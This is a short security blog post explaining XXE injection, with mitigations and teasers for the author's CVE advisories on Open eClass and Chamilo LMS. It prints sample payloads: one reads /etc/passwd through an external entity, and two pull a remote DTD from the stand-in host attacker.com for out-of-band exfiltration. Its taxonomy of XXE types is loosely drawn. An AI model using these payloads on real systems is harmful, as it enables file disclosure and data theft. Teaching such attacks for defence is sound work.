Skip to main content

Understanding XXE Attacks


XXE, or XML External Entity Injection, is a security vulnerability that occurs when an application parses XML input from untrusted sources and allows an attacker to include external entities in the processed XML. This can lead to various security risks, including data disclosure, denial of service, and even remote code execution.

There are three primary types of XXE attacks:
  • In-band (Entity Expansion): In this type of XXE attack, the attacker can retrieve data from the server and potentially exfiltrate sensitive information. An example of this type of attack is when an attacker includes an external entity reference that fetches sensitive data, such as /etc/passwd, and includes it in the XML response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>

  • Out-of-band (OOB) XXE: In an OOB XXE attack, the attacker's goal is to trigger a request to an external server controlled by them, allowing them to exfiltrate data or confirm the existence of specific files on the server. This is particularly useful when the server's response is not directly accessible to the attacker.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe; ]>
<data>Some data</data>

  • Blind XXE (OOB Exfiltration): In a blind XXE attack, the attacker can't directly observe the server's response. However, they can still exfiltrate data by triggering requests to an external server they control. The attacker then looks for signs of the triggered requests in their server's logs.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe; ]>
<data>Some data</data>


It's important to note that XXE vulnerabilities arise when applications process XML input from untrusted sources without proper validation and sanitization. To prevent XXE attacks, it's crucial to:
  1. Disable external entity processing in XML parsers.
  2. Implement input validation and sanitization to ensure that XML input is safe.
  3. Use whitelisting to restrict the allowed XML elements and attributes.
  4. Consider using safer data formats, such as JSON, when possible, especially for data from untrusted sources.

XXE attacks can have serious security implications, so developers and security professionals should be aware of this threat and take appropriate measures to mitigate the risk.

Popular posts from this blog

Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution

During an assessment, I identified a severe security vulnerability within Open eClass, an e-learning platform extensively utilized across educational institutions, notably within Greece, where it is deployed by virtually all Greek Universities and educational entities. Open eClass, developed by GUnet (Greek Universities Network), is instrumental in delivering asynchronous e-learning services. The vulnerability, cataloged under CVE-2024-26503, involves an unrestricted file upload flaw that enables remote code execution (RCE), impacting versions 3.15 and earlier of the platform. This critical security lapse presents a significant risk, potentially allowing unauthorized access and control over the system, thereby compromising the integrity and security of the educational infrastructure. Affected Versions: ●   version <=  3.15 CVSSv3.1 Base Score: 9.1 ( Critical ) CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Exploitation Guide The vulnerability can be e...

Chamilo LMS: CVE-2024-27524 & CVE-2024-27525

CVE-2024-27524:  Stored XSS in tickets Severity:  High  (Base Score  7.1 ) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H   Mitigation: Upgrade to Chamilo LMS 1.11.28 and above. Patch:  https://github.com/chamilo/chamilo-lms/commit/53275c152275958b33a1f87a21843daa52fb543a CVE-2024-27525:  Self XSS in social network Base Score:  Medium  (Base Score  4.6 ) CVSS Vector:  CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L Mitigation: Upgrade to Chamilo LMS 1.11.28 and above. Patch:  https://github.com/chamilo/chamilo-lms/commit/a63e03ef961e7bf2dab56f4ede6f87edef40ba0c Overview This advisory covers the discovery of two vulnerabilities within Chamilo LMS, an open-source learning management system (LMS) widely used across educational institutions. These vulnerabilities—stored cross-site scripting (Stored XSS) and self-cross-site scripting (Self XSS)—pose different levels of security risks but highlight critical consideration...

How I Use Obsidian for Penetration Testing, CVE Hunting, and Studying

In the ever-evolving realm of cyber security, the tools and techniques at our disposal are as varied as the threats we aim to counteract. Among these tools, note-taking applications play a pivotal role, not just in organizing our thoughts but in streamlining our entire workflow. Today, I'm excited to share how Obsidian, a tool I embraced over two and a half years ago while preparing for my eJPT exam, has become an indispensable ally in my journey through penetration testing, CVE hunting, and continuous learning. If you're not yet familiar with Obsidian, it's a robust note-taking application that operates on a local collection of plain text Markdown files. What sets it apart is its capability to interlink ideas, forming an expansive web of knowledge that is both intuitive and comprehensive to explore. Through considerable customization, I've developed what I consider to be an ideal method for consolidating notes, insights, and projects into a unified workspace. Here'...